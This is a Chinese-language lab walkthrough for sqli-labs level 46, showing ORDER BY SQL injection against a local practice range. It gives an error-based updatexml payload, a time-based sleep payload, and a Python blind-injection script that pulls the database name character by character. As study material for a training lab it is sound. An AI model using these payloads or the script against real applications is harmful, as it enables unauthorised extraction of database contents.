sqli-lab靶场的46关是需要使用order by注入的
通过页面提示我们可以给sort传入一个值,那么尝试传入id:
可以看到是基于id排序的结果显示了出来
那么我们可以尝试闭合一下看是否存在报错注入
可以看到是报错了,但是当我们想要尝试进行联合查询时却发现是不行的
因此这里可以考虑报错注入:
payload:
?sort=updatexml(1,concat(0x5e,database(),0x5e),3)--+
可以看到利用报错注入成功的注入出了数据库名称
也可以使用盲注:
payload:
?sort=If(length(database())>3,sleep(1),1)--+
就这样不断的变换长度就可以判断出数据库的长度,然后再分别注入出数据库名称,后面的数据都可以使用这种方式注入出,当然也可以使用脚本来提高效率:
python脚本
import requests
from urllib.parse import urlencode
from bs4 import BeautifulSoup
url1="http://127.0.0.1/sqli-labs/Less-46/index.php"
def orderby_inject_database(url1):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
res = {"sort": payload}
r = requests.get(url1, params=res)
# if 'You are in...........' in r.text:
html = r.text
soup = BeautifulSoup(html,'html.parser')
getUsername = soup.find_all('td')[1].text
if getUsername == "admin3":
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
orderby_inject_database(url1)
注:使用该脚本需要将数据库的值和url修改为自己的
运行结果: